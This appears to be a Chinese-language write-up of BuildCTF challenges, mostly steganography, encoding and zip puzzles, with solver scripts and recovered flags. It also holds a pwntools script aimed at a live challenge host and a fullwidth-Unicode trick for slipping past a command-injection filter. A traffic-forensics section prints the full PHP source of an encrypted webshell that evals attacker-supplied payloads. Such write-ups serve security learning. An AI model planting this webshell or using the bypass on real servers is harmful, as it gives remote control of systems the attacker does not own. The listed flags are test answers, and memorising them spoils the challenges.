| BuildCTF{S0_TH1S_15_M0R5E_C0DE_!!} |
在 b1,rgb,lsb,xy
通道发现文本
| b1,rgb,lsb,xy .. text: "QnVpbGRDVEZ7MV9hbV9uMHRfTFNCISEhfQ==" |
解码得到flag
| BuildCTF{1_am_n0t_LSB!!!} |
阴阳怪气解码得到password
解压后的密文进行与佛论禅解密得到
| 曰:坤茫元量华劫始南灵+梵冥炁渺荡净+浩虚玉道坤玉终罗炁度清魄魔神龙融魂玉命魄鬼照色玉冥周色西鬼终命东融量照霄炁北南西生陀+空茫陀周度清道茫炁冥度东真阎阎阿度命净威茫度元茫微威陀空人罗北魂威荡幽吉灵尊 |
天书解密得到
| 7dcUypxFHgNSJ7rVkdM5k7X18GSU9JinEziQ5vsS1rMpvTpx |
base58解密得到flag
| BuildCTF{D3crypt10n_1s_4_l0ng_r04d} |
可以看到数据被打乱,编写脚本复原
| input_file='password.png' |
| output_file='password_right.png' |
| |
| with open(input_file, 'rb') as f: |
| data = f.read() |
| |
| byte_array = bytearray(data) |
| |
| for i in range(0, len(byte_array) - 1, 2): |
| byte_array[i], byte_array[i + 1] = byte_array[i + 1], byte_array[i] |
| |
| with open(output_file, 'wb') as f: |
| f.write(byte_array) |
得到key
解压得到一张条形码,但是部分被涂抹,用PS将未涂抹的部分进行拉伸
扫描得到key
| key:wo_bu_shi_xiao_hei_zi!!! |
解压得到密文,需要base64循环解码,编写脚本
| def base64_auto(s): |
| for i in range(1,99999): |
| print("Time ",i,":") |
| decode_str = base64.decodebytes(bytes(s, encoding='utf8') ) |
| result=decode_str.decode() |
| print(result) |
| s=result |
| |
| s="" |
| base64_auto(s) |
在Time30得到Flag
| Time 28 : |
| UW5WcGJHUkRWRVo3ZVRCMVgyRnlaVjluY21WaGRGOWliM2w5 |
| Time 29 : |
| QnVpbGRDVEZ7eTB1X2FyZV9ncmVhdF9ib3l9 |
| Time 30 : |
| BuildCTF{y0u_are_great_boy} |
| Time 31 : |
| Traceback (most recent call last): |
从图中可以看到关键信息
搜索 s3901北京德州出口
找到相关信息
搜索霸州南站铁路,得到flag
零宽隐写,将得到的字符串base64解码后得到第一个压缩包密码
盲水印得到第二个压缩包密码
解压得到字符串
| IJ2WS3DEINKEM62XMF2DG4SNMFZGWXZRONPVGMC7MVQVG6L5 |
Base32解码得到flag
| BuildCTF{Wat3rMark_1s_S0_eaSy} |
先修复宽高,得到后半段编码
| 和谐公正平等平等友善敬业法治富强和谐民主法治诚信和谐 |
查看修复的图片的通道,在通道中发现前半段编码
| [?] 192 bytes of extra data after image end (IEND), offset = 0x756d3 |
| extradata:0 .. text: "自由文明法治平等公正敬业公正友善公正公正自由自由和谐平等自由自由公正法治友善平等公正诚信文明公正民主公正诚信平等平等诚信平等法治" |
得到完整编码
| 自由文明法治平等公正敬业公正友善公正公正自由自由和谐平等自由自由公正法治友善平等公正诚信文明公正民主公正诚信平等平等诚信平等法治和谐公正平等平等友善敬业法治富强和谐民主法治诚信和谐 |
社会主义核心价值观解码得到flag
在docx文档中改变字体颜色得到Flag1
0000000.txt中零宽隐写得到Flag2
将汉信码解码后得到
| http://weixin.qq.com/r/ekReRh7Eh0P4rVol9xFo |
生成二维码扫码后跳转到公众号(这里我是遍历海报上的公众号找到的)得到snow隐写的password
对snow.txt进行snow隐写解密
| SNOW.exe -Q -p "snowsnow" snow.txt |
得到Flag3
这里比较不合理的一点是Flag1和Flag2有交叉部分,需要自己删改
| BuildCTF{Th3_wh1t3_y0u_s33_1s_n0t_wh1t3} |
通过binwalk能够发现存在Zip数据,但是无法直接提取
010搜索 50 4B
无果,检查IDAT块,在最后一个IDAT块前发现Zip文件数据,将Zip提取出来,存在加密,通过文件名得到提示
回复消息后得到password
解压后将txt中的数据base64解码后得到一张png,爆破宽高后得到flag
| BuildCTF{PNG_@nd_H31sh3nHu@} |
压缩包内有很多图,解压后根据图片大小利用代码分别转化为0和1
| import os |
| |
| def process_images_in_folder(folder_path): |
| s = "" |
| jpg_files = [os.path.join(folder_path, f) for f in os.listdir(folder_path) if f.endswith('.jpg')] |
| sorted_jpg_files = sorted(jpg_files, key=lambda x: int(''.join(filter(str.isdigit, os.path.basename(x))))) |
| |
| for file_path in sorted_jpg_files: |
| file_size = os.path.getsize(file_path) |
| |
| if file_size == 878: |
| s += "1" |
| elif file_size == 879: |
| s += "0" |
| |
| return s |
| |
| folder_path = 'panda' |
| result_string = process_images_in_folder(folder_path) |
| |
| print(result_string) |
得到01字符串后转化为二维码,扫描得到以下信息
| 3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2 |
base45解码得到flag
| BuildCTF{Tich1?pAnDa?_HahA_U_w1n} |
题目描述显示crc检验错误,首先想到的是源数据区或目录区的压缩方法被修改了,将这里的压缩方式更改为 8
更改完毕后解压未显示crc检验错误但是存在密码,这时候尝试伪加密,解压得到BrainFuck编码,解码得到flag
| BuildCTF{Da7A_Cowbr355lon_15_3A5Y} |
附件给的 Jpg 后存在压缩包,将其分离后得到压缩包。压缩包属于无密码嵌套,利用脚本解压到最后一层,伪加密得到Flag
| BuildCTF{Z1p_p@ck@g3s_@r3_@_v3ry_1n73r3s7ing_thing} |
爆破就完事了
| from pwn import* |
| |
| io=remote("27.25.151.80",42861) |
| |
| for i in range(100): |
| io.sendline(str(1)) |
| |
| io.interactive() |
先观察密文,直接Hex解密是乱码
| c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd |
我们将 BuildCTF
转为Hex查看,可以发现原本奇数位的数字被转成了对应序号-1的英文字符
写代码还原,得到初始Hex
| 4275696c644354467b33457a7a5f41356321215f62696e61727979797d |
解码得到Flag
| BuildCTF{3Ezz_A5c!!_binaryyy} |
原本以为是正常都加减乘除,但是发现并没有答案并且直接输入24也是答案正确,这里转化思路为命令执行。通过排查我们可以发现这道题目过滤了英文字符。但是可以使用 Unicode
绕过,这里采用的是全角
得到flag
| BuildCTF{a508efc0-99d4-424c-b731-5c6ad05fda1a} |
放一套花体
| 𝒶𝒷𝒸𝒹ℯ𝒻ℊ𝒽𝒾𝒿𝓀𝓁𝓂𝓃ℴ𝓅𝓆𝓇𝓈𝓉𝓊𝓋𝓌𝓍𝓎𝓏 |
| 𝒜ℬ𝒞𝒟ℰℱ𝒢ℋℐ𝒥𝒦ℒℳ𝒩𝒪𝒫𝒬ℛ𝒮𝒯𝒰𝒱𝒲𝒳𝒴𝒵 |
先将gif拆分,根据图片大小分别将三种图片转化为 -
.
| import os |
| import re |
| |
| def get_sorted_image_files(folder_path): |
| image_files = [f for f in os.listdir(folder_path) if f.lower().endswith('.png')] |
| |
| def extract_number(filename): |
| match = re.search(r'\d+', filename) |
| return int(match.group()) if match else float('inf') |
| |
| sorted_files = sorted(image_files, key=extract_number) |
| return [os.path.join(folder_path, f) for f in sorted_files] |
| |
| def process_images(folder_path): |
| s = "" |
| image_files = get_sorted_image_files(folder_path) |
| |
| for image_path in image_files: |
| file_size_bytes = os.path.getsize(image_path) |
| |
| if file_size_bytes == 64627: |
| s += "." |
| elif file_size_bytes == 56214: |
| s += "-" |
| elif file_size_bytes == 759: |
| s += " " |
| |
| return s |
| |
| folder_path = 'output' |
| result = process_images(folder_path) |
| print(f"The final value of s is: {result}") |
得到摩斯代码
| -... ..- .. .-.. -.. -.-. - ..-. ----.-- .-- ....- .---- -.-. --- -- ....- ..--.- -. ....- .-- ..--.- ..-. .---- ... .... -----.- |
解码得到flag
| BuildCTF{BUILDCTFW41COM4_N4W_F1SH} |
先分析流量包,将最后一段流量进行 url解码
,可以看到存在两段
将第一段进行处理得到木马文件
| @session_start(); |
| @set_time_limit(0); |
| @error_reporting(0); |
| function encode($D,$K){ |
| for($i=0;$i<strlen($D);$i++) { |
| $c = $K[$i+1&15]; |
| $D[$i] = $D[$i]^$c; |
| } |
| return $D; |
| } |
| $pass='hhhhacker'; |
| $payloadName='payload'; |
| $key='73b761208d5c05f2'; |
| if (isset($_POST[$pass])){ |
| $data=encode(base64_decode($_POST[$pass]),$key); |
| if (isset($_SESSION[$payloadName])){ |
| $payload=encode($_SESSION[$payloadName],$key); |
| if (strpos($payload,"getBasicsInfo")===false){ |
| $payload=encode($payload,$key); |
| } |
| eval($payload); |
| echo substr(md5($pass.$key),0,16); |
| echo base64_encode(encode(@run($data),$key)); |
| echo substr(md5($pass.$key),16); |
| }else{ |
| if (strpos($data,"getBasicsInfo")!==false){ |
| $_SESSION[$payloadName]=encode($data,$key); |
| } |
| } |
| } |
从中得到 key
和 pass
| $pass='hhhhacker'; |
| $key='73b761208d5c05f2'; |
填入key进行解密
得到flag
| Buildctf{WireshArk_1s_vEry_EZ} |
通过 key
文件作为密钥文件挂载 FindYourWindows
,对挂载盘进行取证,恢复回收站中的 flag.txt
得到flag
评论